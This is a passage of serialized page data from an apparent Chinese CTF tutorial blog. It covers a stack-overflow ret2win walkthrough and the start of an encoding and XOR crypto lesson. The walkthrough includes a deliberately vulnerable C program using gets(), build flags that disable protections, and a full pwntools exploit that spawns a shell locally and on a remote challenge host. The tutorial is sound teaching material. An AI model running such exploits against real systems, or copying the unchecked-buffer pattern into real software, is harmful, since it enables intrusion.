为什么危险",[16,1388,1389,1390,1393],{},"C 语言函数 ",[30,1391,1392],{},"gets"," 不检查输入长度。缓冲区只有 32 字节，输入 100 字节时，多出的 68 字节会写进相邻内存，覆盖函数调用信息。现代系统为对抗这类问题启用了防护（栈金丝雀、地址随机化等），Pwn 方向就是研究如何在防护下完成利用。",[16,1395,1396,1397,301],{},"本文只讲一条主线：",[136,1398,1399],{},"栈溢出 → 覆盖返回地址 → 跳转执行目标函数",[11,1401,90],{"id":89},[16,1403,93],{},[23,1405,1407],{"className":25,"code":1406,"language":27,"meta":28,"style":28},"apt install gcc gdb\npip3 install pwntools\n",[30,1408,1409,1421],{"__ignoreMap":28},[33,1410,1411,1413,1415,1418],{"class":35,"line":36},[33,1412,103],{"class":39},[33,1414,106],{"class":43},[33,1416,1417],{"class":43}," gcc",[33,1419,1420],{"class":43}," gdb\n",[33,1422,1423,1426,1428],{"class":35,"line":47},[33,1424,1425],{"class":39},"pip3",[33,1427,106],{"class":43},[33,1429,1430],{"class":43}," pwntools\n",[11,1432,1434],{"id":1433},"三漏洞程序与编译","三、漏洞程序与编译",[16,1436,1437,1438,561],{},"保存 ",[30,1439,1440],{},"vuln.c",[23,1442,1444],{"className":816,"code":1443,"language":818,"meta":28,"style":28},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n system(\"/bin/sh\");\n}\n\nvoid vuln() {\n char buf[32];\n gets(buf);\n}\n\nint main() {\n setvbuf(stdout, NULL, _IONBF, 0);\n puts(\"Hello, what's your name?\");\n vuln();\n puts(\"Bye!\");\n return 0;\n}\n",[30,1445,1446,1451,1456,1461,1466,1471,1476,1480,1485,1490,1495,1499,1503,1509,1515,1521,1527,1533,1539],{"__ignoreMap":28},[33,1447,1448],{"class":35,"line":36},[33,1449,1450],{},"#include \u003Cstdio.h>\n",[33,1452,1453],{"class":35,"line":47},[33,1454,1455],{},"#include \u003Cstdlib.h>\n",[33,1457,1458],{"class":35,"line":70},[33,1459,1460],{"emptyLinePlaceholder":1373},"\n",[33,1462,1463],{"class":35,"line":80},[33,1464,1465],{},"void win() {\n",[33,1467,1468],{"class":35,"line":452},[33,1469,1470],{}," system(\"/bin/sh\");\n",[33,1472,1473],{"class":35,"line":458},[33,1474,1475],{},"}\n",[33,1477,1478],{"class":35,"line":464},[33,1479,1460],{"emptyLinePlaceholder":1373},[33,1481,1482],{"class":35,"line":470},[33,1483,1484],{},"void vuln() {\n",[33,1486,1487],{"class":35,"line":476},[33,1488,1489],{}," char buf[32];\n",[33,1491,1492],{"class":35,"line":482},[33,1493,1494],{}," gets(buf);\n",[33,1496,1497],{"class":35,"line":1295},[33,1498,1475],{},[33,1500,1501],{"class":35,"line":1301},[33,1502,1460],{"emptyLinePlaceholder":1373},[33,1504,1506],{"class":35,"line":1505},13,[33,1507,1508],{},"int main() {\n",[33,1510,1512],{"class":35,"line":1511},14,[33,1513,1514],{}," setvbuf(stdout, NULL, _IONBF, 0);\n",[33,1516,1518],{"class":35,"line":1517},15,[33,1519,1520],{}," puts(\"Hello, what's your name?\");\n",[33,1522,1524],{"class":35,"line":1523},16,[33,1525,1526],{}," vuln();\n",[33,1528,1530],{"class":35,"line":1529},17,[33,1531,1532],{}," puts(\"Bye!\");\n",[33,1534,1536],{"class":35,"line":1535},18,[33,1537,1538],{}," return 0;\n",[33,1540,1542],{"class":35,"line":1541},19,[33,1543,1475],{},[16,1545,1546],{},"编译（关闭金丝雀和 PIE，方便入门）：",[23,1548,1550],{"className":25,"code":1549,"language":27,"meta":28,"style":28},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[30,1551,1552,1572,1578],{"__ignoreMap":28},[33,1553,1554,1557,1560,1563,1566,1569],{"class":35,"line":36},[33,1555,1556],{"class":39},"gcc",[33,1558,1559],{"class":241}," -o",[33,1561,1562],{"class":43}," vuln",[33,1564,1565],{"class":43}," vuln.c",[33,1567,1568],{"class":241}," -fno-stack-protector",[33,1570,1571],{"class":241}," -no-pie\n",[33,1573,1574],{"class":35,"line":47},[33,1575,1577],{"class":1576},"shSDL","# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n",[33,1579,1580],{"class":35,"line":70},[33,1581,1582],{"class":1576},"# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[11,1584,1586],{"id":1585},"四核心步骤-1checksec-看防护","四、核心步骤 1：checksec 看防护",[16,1588,1589,1591],{},[136,1590,138],{},"：开打之前先判断\"这条路能不能走\"，避免盲目构造 payload。",[16,1593,1594,1596],{},[136,1595,144],{},"：三个关键行——没有 canary 才能直接覆盖返回地址；NX 开启意味着不能放 shellcode（本阶段跳过）；No PIE 意味着程序内函数地址可以直接写死。",[16,1598,153],{},[23,1600,1602],{"className":25,"code":1601,"language":27,"meta":28,"style":28},"pwn checksec ./vuln\n",[30,1603,1604],{"__ignoreMap":28},[33,1605,1606,1609,1612],{"class":35,"line":36},[33,1607,1608],{"class":39},"pwn",[33,1610,1611],{"class":43}," checksec",[33,1613,1614],{"class":43}," ./vuln\n",[16,1616,169],{},[23,1618,1621],{"className":1619,"code":1620,"language":175,"meta":28},[173],"Arch: amd64-64-little\nRELRO: Partial RELRO\nStack: No canary found\nNX: NX enabled\nPIE: No PIE (0x400000)\n",[30,1622,1620],{"__ignoreMap":28},[16,1624,1625],{},"只看三行：",[490,1627,1628,1640],{},[493,1629,1630],{},[496,1631,1632,1635,1637],{},[499,1633,1634],{},"行",[499,1636,504],{},[499,1638,1639],{},"对我们意味着什么",[506,1641,1642,1655,1668],{},[496,1643,1644,1649,1652],{},[511,1645,1646],{},[30,1647,1648],{},"Stack: No canary found",[511,1650,1651],{},"没有栈金丝雀",[511,1653,1654],{},"可以直接覆盖返回地址",[496,1656,1657,1662,1665],{},[511,1658,1659],{},[30,1660,1661],{},"NX: NX enabled",[511,1663,1664],{},"栈不可执行",[511,1666,1667],{},"不能放 shellcode（本阶段先不管）",[496,1669,1670,1675,1678],{},[511,1671,1672],{},[30,1673,1674],{},"PIE: No PIE",[511,1676,1677],{},"程序地址固定",[511,1679,1680,1683],{},[30,1681,1682],{},"win"," 的地址可以直接写进 payload",[11,1685,1687],{"id":1686},"五核心步骤-2栈布局与偏移","五、核心步骤 2：栈布局与偏移",[16,1689,1690,1693],{},[30,1691,1692],{},"vuln"," 被调用时栈上自低到高：",[23,1695,1698],{"className":1696,"code":1697,"language":175,"meta":28},[173],"┌──────────────────────┐\n│ buf[32] │ ← 输入从这里写入\n├──────────────────────┤\n│ saved rbp（8 字节） │\n├──────────────────────┤\n│ 返回地址（8 字节） │ ← 覆盖它\n└──────────────────────┘\n",[30,1699,1697],{"__ignoreMap":28},[16,1701,1702,1703,1706],{},"偏移 = 32 + 8 = 40 字节。用 pwntools 的 ",[30,1704,1705],{},"cyclic"," 验证：",[23,1708,1710],{"className":1238,"code":1709,"language":1240,"meta":28,"style":28},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\np.wait()\n# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\nprint(offset)\n# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[30,1711,1712,1717,1721,1726,1731,1736,1741,1746,1751,1756,1761,1766,1771],{"__ignoreMap":28},[33,1713,1714],{"class":35,"line":36},[33,1715,1716],{},"from pwn import *\n",[33,1718,1719],{"class":35,"line":47},[33,1720,1460],{"emptyLinePlaceholder":1373},[33,1722,1723],{"class":35,"line":70},[33,1724,1725],{},"p = process('./vuln')\n",[33,1727,1728],{"class":35,"line":80},[33,1729,1730],{},"p.sendline(cyclic(200))\n",[33,1732,1733],{"class":35,"line":452},[33,1734,1735],{},"# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n",[33,1737,1738],{"class":35,"line":458},[33,1739,1740],{},"# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\n",[33,1742,1743],{"class":35,"line":464},[33,1744,1745],{},"p.wait()\n",[33,1747,1748],{"class":35,"line":470},[33,1749,1750],{},"# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\n",[33,1752,1753],{"class":35,"line":476},[33,1754,1755],{},"offset = cyclic_find(p.corefile.fault_addr)\n",[33,1757,1758],{"class":35,"line":482},[33,1759,1760],{},"# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n",[33,1762,1763],{"class":35,"line":1295},[33,1764,1765],{},"# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\n",[33,1767,1768],{"class":35,"line":1301},[33,1769,1770],{},"print(offset)\n",[33,1772,1773],{"class":35,"line":1505},[33,1774,1775],{},"# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[16,1777,169,1778,301],{},[30,1779,1780],{},"40",[11,1782,1784],{"id":1783},"六核心步骤-3pwntools-三个核心-api","六、核心步骤 3：pwntools 三个核心 API",[147,1786,1788],{"id":1787},"api-1elf读符号地址","API 1：ELF——读符号地址",[23,1790,1792],{"className":1238,"code":1791,"language":1240,"meta":28,"style":28},"from pwn import *\n\nelf = ELF('./vuln')\n# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n# hex(...)：转成十六进制字符串显示，方便阅读。\nprint(hex(elf.symbols['win']))\n",[30,1793,1794,1798,1802,1807,1812,1817,1822],{"__ignoreMap":28},[33,1795,1796],{"class":35,"line":36},[33,1797,1716],{},[33,1799,1800],{"class":35,"line":47},[33,1801,1460],{"emptyLinePlaceholder":1373},[33,1803,1804],{"class":35,"line":70},[33,1805,1806],{},"elf = ELF('./vuln')\n",[33,1808,1809],{"class":35,"line":80},[33,1810,1811],{},"# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n",[33,1813,1814],{"class":35,"line":452},[33,1815,1816],{},"# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n",[33,1818,1819],{"class":35,"line":458},[33,1820,1821],{},"# hex(...)：转成十六进制字符串显示，方便阅读。\n",[33,1823,1824],{"class":35,"line":464},[33,1825,1826],{},"print(hex(elf.symbols['win']))\n",[16,1828,169],{},[23,1830,1833],{"className":1831,"code":1832,"language":175,"meta":28},[173],"0x401176\n",[30,1834,1832],{"__ignoreMap":28},[147,1836,1838],{"id":1837},"api-2process启动程序","API 2：process——启动程序",[23,1840,1841],{"className":1238,"code":1725,"language":1240,"meta":28,"style":28},[30,1842,1843],{"__ignoreMap":28},[33,1844,1845],{"class":35,"line":36},[33,1846,1725],{},[16,1848,1849,1850,264,1853,1856],{},"启动本地进程，之后用 ",[30,1851,1852],{},"p.sendline()",[30,1854,1855],{},"p.recvuntil()"," 交互。远程题目改成：",[23,1858,1860],{"className":1238,"code":1859,"language":1240,"meta":28,"style":28},"p = remote('1.2.3.4', 10001)\n",[30,1861,1862],{"__ignoreMap":28},[33,1863,1864],{"class":35,"line":36},[33,1865,1859],{},[147,1867,1869],{"id":1868},"api-3p64-sendline构造并发送-payload","API 3：p64 + sendline——构造并发送 payload",[23,1871,1873],{"className":1238,"code":1872,"language":1240,"meta":28,"style":28},"payload = b'A' * 40 + p64(0x401176)\n# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n# 两段拼接后，gets 会把这 48 字节全部写入栈，\n# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\np.sendline(payload)\n# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[30,1874,1875,1880,1885,1890,1895,1900,1905,1910],{"__ignoreMap":28},[33,1876,1877],{"class":35,"line":36},[33,1878,1879],{},"payload = b'A' * 40 + p64(0x401176)\n",[33,1881,1882],{"class":35,"line":47},[33,1883,1884],{},"# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n",[33,1886,1887],{"class":35,"line":70},[33,1888,1889],{},"# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n",[33,1891,1892],{"class":35,"line":80},[33,1893,1894],{},"# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n",[33,1896,1897],{"class":35,"line":452},[33,1898,1899],{},"# 两段拼接后，gets 会把这 48 字节全部写入栈，\n",[33,1901,1902],{"class":35,"line":458},[33,1903,1904],{},"# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\n",[33,1906,1907],{"class":35,"line":464},[33,1908,1909],{},"p.sendline(payload)\n",[33,1911,1912],{"class":35,"line":470},[33,1913,1914],{},"# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[16,1916,1917,1920,1921,1924],{},[30,1918,1919],{},"p64"," 把 64 位整数转成 8 字节小端字节串；40 个 ",[30,1922,1923],{},"A"," 填满缓冲区与 saved rbp，后面 8 字节正好落在返回地址上。",[11,1926,1928],{"id":1927},"七完整-ret2win-脚本","七、完整 ret2win 脚本",[16,1930,1931,1933],{},[136,1932,138],{},"：把前三步串成完整 exploit。",[16,1935,1936,1938],{},[136,1937,144],{},"：等程序打印提示 → 发送\"填充 + win 地址\" → 程序 ret 跳到 win → 弹出 shell → 交互。",[23,1940,1942],{"className":1238,"code":1941,"language":1240,"meta":28,"style":28},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\n# 触发溢出：覆盖返回地址为 win。\np.interactive()\n# interactive()：把当前进程的输入输出接到我们的终端，\n# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[30,1943,1944,1948,1952,1956,1960,1964,1969,1974,1979,1984,1988,1993,1998,2003],{"__ignoreMap":28},[33,1945,1946],{"class":35,"line":36},[33,1947,1716],{},[33,1949,1950],{"class":35,"line":47},[33,1951,1460],{"emptyLinePlaceholder":1373},[33,1953,1954],{"class":35,"line":70},[33,1955,1806],{},[33,1957,1958],{"class":35,"line":80},[33,1959,1725],{},[33,1961,1962],{"class":35,"line":452},[33,1963,1460],{"emptyLinePlaceholder":1373},[33,1965,1966],{"class":35,"line":458},[33,1967,1968],{},"p.recvuntil(b'name?')\n",[33,1970,1971],{"class":35,"line":464},[33,1972,1973],{},"# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n",[33,1975,1976],{"class":35,"line":470},[33,1977,1978],{},"# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\n",[33,1980,1981],{"class":35,"line":476},[33,1982,1983],{},"payload = b'A' * 40 + p64(elf.symbols['win'])\n",[33,1985,1986],{"class":35,"line":482},[33,1987,1909],{},[33,1989,1990],{"class":35,"line":1295},[33,1991,1992],{},"# 触发溢出：覆盖返回地址为 win。\n",[33,1994,1995],{"class":35,"line":1301},[33,1996,1997],{},"p.interactive()\n",[33,1999,2000],{"class":35,"line":1505},[33,2001,2002],{},"# interactive()：把当前进程的输入输出接到我们的终端，\n",[33,2004,2005],{"class":35,"line":1511},[33,2006,2007],{},"# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[16,2009,2010],{},"预期结果：",[23,2012,2015],{"className":2013,"code":2014,"language":175,"meta":28},[173],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf)\n",[30,2016,2014],{"__ignoreMap":28},[16,2018,2019,2020,2023,2024,2027],{},"程序跳到了 ",[30,2021,2022],{},"win()","，执行 ",[30,2025,2026],{},"system(\"/bin/sh\")","，我们拿到了 shell。",[11,2029,2031],{"id":2030},"八必学工具","八、必学工具",[490,2033,2034,2046],{},[493,2035,2036],{},[496,2037,2038,2040,2043],{},[499,2039,1047],{},[499,2041,2042],{},"3 个核心功能",[499,2044,2045],{},"示例",[506,2047,2048,2075,2088],{},[496,2049,2050,2053,2072],{},[511,2051,2052],{},"pwntools",[511,2054,2055,2058,2059,1125,2061,2064,2065,2067,2068,2071],{},[30,2056,2057],{},"ELF()"," 读符号、",[30,2060,1705],{},[30,2062,2063],{},"cyclic_find"," 找偏移、",[30,2066,1919],{},"+",[30,2069,2070],{},"sendline"," 构造发送",[511,2073,2074],{},"见上文",[496,2076,2077,2080,2083],{},[511,2078,2079],{},"checksec",[511,2081,2082],{},"查看栈保护、NX、PIE",[511,2084,2085],{},[30,2086,2087],{},"pwn checksec ./vuln",[496,2089,2090,2093,2096],{},[511,2091,2092],{},"GDB（+pwndbg）",[511,2094,2095],{},"断点、看栈、单步",[511,2097,2098,264,2101,264,2104],{},[30,2099,2100],{},"break vuln",[30,2102,2103],{},"x/20gx $rsp",[30,2105,2106],{},"continue",[11,2108,2110],{"id":2109},"九小-ctf-实战远程-ret2win","九、小 CTF 实战：远程 ret2win",[16,2112,1136,2113,2116,2117,301],{},[30,2114,2115],{},"nc 1.2.3.4 10001","，运行的就是上面的 ",[30,2118,1692],{},[16,2120,2121],{},"第一步，本地验证：",[23,2123,2125],{"className":25,"code":2124,"language":27,"meta":28,"style":28},"python3 exploit.py\n",[30,2126,2127],{"__ignoreMap":28},[33,2128,2129,2132],{"class":35,"line":36},[33,2130,2131],{"class":39},"python3",[33,2133,2134],{"class":43}," exploit.py\n",[16,2136,2137,2138,2141,2142,2145],{},"第二步，把 ",[30,2139,2140],{},"process('./vuln')"," 改成 ",[30,2143,2144],{},"remote('1.2.3.4', 10001)"," 再跑：",[16,2147,2148,2150],{},[136,2149,138],{},"：本地打通后打远程。本地与远程的区别只有一行：连接方式。",[16,2152,2153,2155],{},[136,2154,648],{},"：远程返回同样提示并弹出 shell 即成功；如果远程崩溃或没有反应，先用 checksec 确认远程程序的防护与本地一致。",[23,2157,2159],{"className":1238,"code":2158,"language":1240,"meta":28,"style":28},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\n# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\np.interactive()\n",[30,2160,2161,2165,2169,2173,2177,2182,2187,2191,2195,2199,2204,2209],{"__ignoreMap":28},[33,2162,2163],{"class":35,"line":36},[33,2164,1716],{},[33,2166,2167],{"class":35,"line":47},[33,2168,1460],{"emptyLinePlaceholder":1373},[33,2170,2171],{"class":35,"line":70},[33,2172,1806],{},[33,2174,2175],{"class":35,"line":80},[33,2176,1859],{},[33,2178,2179],{"class":35,"line":452},[33,2180,2181],{},"# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n",[33,2183,2184],{"class":35,"line":458},[33,2185,2186],{},"# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n",[33,2188,2189],{"class":35,"line":464},[33,2190,1460],{"emptyLinePlaceholder":1373},[33,2192,2193],{"class":35,"line":470},[33,2194,1983],{},[33,2196,2197],{"class":35,"line":476},[33,2198,1909],{},[33,2200,2201],{"class":35,"line":482},[33,2202,2203],{},"p.sendline(b'cat flag')\n",[33,2205,2206],{"class":35,"line":1295},[33,2207,2208],{},"# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\n",[33,2210,2211],{"class":35,"line":1301},[33,2212,1997],{},[16,2214,169],{},[23,2216,2219],{"className":2217,"code":2218,"language":175,"meta":28},[173],"flag{ret2win}\n",[30,2220,2218],{"__ignoreMap":28},[11,2222,2224],{"id":2223},"十小结","十、小结",[16,2226,2227,2228,2230,2231,2233,2234,2236],{},"Pwn 入门主线：",[30,2229,2079],{}," 判断能不能直接打 → ",[30,2232,1705],{}," 确定偏移 → ",[30,2235,1919],{}," 构造 payload 覆盖返回地址。下一级进阶（NX + ASLR）时，目标从\"程序内的 win\"换成\"libc 里的 system\"，思路不变，详见《栈溢出与 ROP 深入实战》。",[1350,2238,2239],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":28,"searchDepth":47,"depth":47,"links":2241},[2242,2243,2244,2245,2246,2247,2248,2249,2250,2251],{"id":1385,"depth":70,"text":1386},{"id":89,"depth":70,"text":90},{"id":1433,"depth":70,"text":1434},{"id":1585,"depth":70,"text":1586},{"id":1686,"depth":70,"text":1687},{"id":1783,"depth":70,"text":1784},{"id":1927,"depth":70,"text":1928},{"id":2030,"depth":70,"text":2031},{"id":2109,"depth":70,"text":2110},{"id":2223,"depth":70,"text":2224},"完整演示 Pwn 第一条,包括漏洞代码编译、checksec 防护解读、cyclic 找偏移，到用 pwntools 三个核心 API 完成 ret2win。",{"date":1366,"image":2254,"alt":2255,"tags":2256,"published":1373},"/blogs-img/blog2.png","CTF Pwn 入门",[1370,1608,1372],"/blogs/ctf-pwn-overview",{"title":1380,"description":2252},"blogs/11. ctf-pwn-overview","meu72Rt9gwp_tpGxBY4J74XxZjAVK6BU7R5ezX4BNvk",{"id":2262,"title":2263,"body":2264,"description":3258,"extension":1364,"meta":3259,"navigation":1373,"ogImage":3260,"path":3264,"seo":3265,"stem":3266,"__hash__":3267},"content/blogs/12. ctf-crypto-overview.md","CTF 密码学入门：编码、XOR 与 DH 密钥协商",{"type":8,"value":2265,"toc":3248},[2266,2270,2273,2341,2344,2430,2433,2439,2442,2466,2468,2474,2476,2496,2506,2510,2521,2525,2530,2574,2576,2582,2586,2591,2604,2678,2680,2686,2692,2696,2702,2733,2737,2740,2804,2806,2812,2816,2820,2823,2827,2832,2837,2878,2882,3009,3011,3017,3027,3029,3033,3036,3074,3078,3107,3111,3114,3143,3145,3151,3155,3158,3163,3166,3174,3233,3235,3240,3242,3245],[11,2267,2269],{"id":2268},"一现实背景编码每天都在用","一、现实背景：编码每天都在用",[16,2271,2272],{},"编码（Encoding）不依赖密钥，任何掌握规则的人都能还原；加密（Encryption）依赖密钥。日常网络中的编码：",[490,2274,2275,2288],{},[493,2276,2277],{},[496,2278,2279,2282,2285],{},[499,2280,2281],{},"编码",[499,2283,2284],{},"现实应用",[499,2286,2287],{},"例子",[506,2289,2290,2307,2326],{},[496,2291,2292,2295,2298],{},[511,2293,2294],{},"Base64",[511,2296,2297],{},"邮件附件（MIME）、JWT 令牌、Data URI",[511,2299,2300,2303,2304],{},[30,2301,2302],{},"ZmxhZw=="," → ",[30,2305,2306],{},"flag",[496,2308,2309,2312,2319],{},[511,2310,2311],{},"Hex",[511,2313,2314,2315,2318],{},"颜色值 ",[30,2316,2317],{},"#FF0000","、MAC 地址、哈希摘要",[511,2320,2321,2303,2324],{},[30,2322,2323],{},"666c6167",[30,2325,2306],{},[496,2327,2328,2331,2334],{},[511,2329,2330],{},"URL 编码",[511,2332,2333],{},"浏览器地址栏中的中文与特殊字符",[511,2335,2336,2303,2339],{},[30,2337,2338],{},"%66%6c%61%67",[30,2340,2306],{},[16,2342,2343],{},"先运行最小的解码例子：",[23,2345,2347],{"className":1238,"code":2346,"language":1240,"meta":28,"style":28},"import base64\n# base64 模块：标准库，提供 base64 编码解码函数。\n\nprint(base64.b64encode(b\"flag\"))\n# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n# 返回值是编码结果 bytes：b'ZmxhZw=='。\n\nprint(base64.b64decode(\"ZmxhZw==\"))\n# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n\nprint(bytes.fromhex(\"666c6167\"))\n# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n\nprint(b\"flag\".hex())\n# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[30,2348,2349,2354,2359,2363,2368,2373,2378,2382,2387,2392,2397,2401,2406,2411,2416,2420,2425],{"__ignoreMap":28},[33,2350,2351],{"class":35,"line":36},[33,2352,2353],{},"import base64\n",[33,2355,2356],{"class":35,"line":47},[33,2357,2358],{},"# base64 模块：标准库，提供 base64 编码解码函数。\n",[33,2360,2361],{"class":35,"line":70},[33,2362,1460],{"emptyLinePlaceholder":1373},[33,2364,2365],{"class":35,"line":80},[33,2366,2367],{},"print(base64.b64encode(b\"flag\"))\n",[33,2369,2370],{"class":35,"line":452},[33,2371,2372],{},"# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n",[33,2374,2375],{"class":35,"line":458},[33,2376,2377],{},"# 返回值是编码结果 bytes：b'ZmxhZw=='。\n",[33,2379,2380],{"class":35,"line":464},[33,2381,1460],{"emptyLinePlaceholder":1373},[33,2383,2384],{"class":35,"line":470},[33,2385,2386],{},"print(base64.b64decode(\"ZmxhZw==\"))\n",[33,2388,2389],{"class":35,"line":476},[33,2390,2391],{},"# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n",[33,2393,2394],{"class":35,"line":482},[33,2395,2396],{},"# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n",[33,2398,2399],{"class":35,"line":1295},[33,2400,1460],{"emptyLinePlaceholder":1373},[33,2402,2403],{"class":35,"line":1301},[33,2404,2405],{},"print(bytes.fromhex(\"666c6167\"))\n",[33,2407,2408],{"class":35,"line":1505},[33,2409,2410],{},"# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n",[33,2412,2413],{"class":35,"line":1511},[33,2414,2415],{},"# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n",[33,2417,2418],{"class":35,"line":1517},[33,2419,1460],{"emptyLinePlaceholder":1373},[33,2421,2422],{"class":35,"line":1523},[33,2423,2424],{},"print(b\"flag\".hex())\n",[33,2426,2427],{"class":35,"line":1529},[33,2428,2429],{},"# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[16,2431,2432],{},"实际输出：",[23,2434,2437],{"className":2435,"code":2436,"language":175,"meta":28},[173],"b'ZmxhZw=='\nb'flag'\nb'flag'\n666c6167\n",[30,2438,2436],{"__ignoreMap":28},[16,2440,2441],{},"URL 编码：",[23,2443,2445],{"className":1238,"code":2444,"language":1240,"meta":28,"style":28},"from urllib.parse import quote, unquote\n\nprint(quote(\"你好\")) # %E4%BD%A0%E5%A5%BD\nprint(unquote(\"%66%6c%61%67\")) # flag\n",[30,2446,2447,2452,2456,2461],{"__ignoreMap":28},[33,2448,2449],{"class":35,"line":36},[33,2450,2451],{},"from urllib.parse import quote, unquote\n",[33,2453,2454],{"class":35,"line":47},[33,2455,1460],{"emptyLinePlaceholder":1373},[33,2457,2458],{"class":35,"line":70},[33,2459,2460],{},"print(quote(\"你好\")) # %E4%BD%A0%E5%A5%BD\n",[33,2462,2463],{"class":35,"line":80},[33,2464,2465],{},"print(unquote(\"%66%6c%61%67\")) # flag\n",[16,2467,2432],{},[23,2469,2472],{"className":2470,"code":2471,"language":175,"meta":28},[173],"%E4%BD%A0%E5%A5%BD\nflag\n",[30,2473,2471],{"__ignoreMap":28},[11,2475,90],{"id":89},[23,2477,2479],{"className":25,"code":2478,"language":27,"meta":28,"style":28},"pip3 install pycryptodome sympy gmpy2\n",[30,2480,2481],{"__ignoreMap":28},[33,2482,2483,2485,2487,2490,2493],{"class":35,"line":36},[33,2484,1425],{"class":39},[33,2486,106],{"class":43},[33,2488,2489],{"class":43}," pycryptodome",[33,2491,2492],{"class":43}," sympy",[33,2494,2495],{"class":43}," gmpy2\n",[16,2497,2498,2499],{},"浏览器打开 CyberChef（",[2500,2501,2505],"a",{"href":2502,"rel":2503},"https://gchq.github.io/CyberChef%EF%BC%89%E3%80%82",[2504],"nofollow","https://gchq.github.io/CyberChef）。",[11,2507,2509],{"id":2508},"三核心知识-1xor-与单字节爆破","三、核心知识 1：XOR 与单字节爆破",[16,2511,2512,2513,2516,2517,2520],{},"异或的性质：",[30,2514,2515],{},"A ^ B = C","，且 ",[30,2518,2519],{},"C ^ B = A","。同一个密钥异或两次就还原，所以加密和解密是同一个运算。",[147,2522,2524],{"id":2523},"_31-加密","3.1 加密",[16,2526,2527,2529],{},[136,2528,138],{},"：先用已知明文和密钥生成密文，验证\"异或加密\"的写法，同时为后面爆破提供测试对象。",[23,2531,2533],{"className":1238,"code":2532,"language":1240,"meta":28,"style":28},"plain = b\"flag{xor_is_easy}\"\nkey = 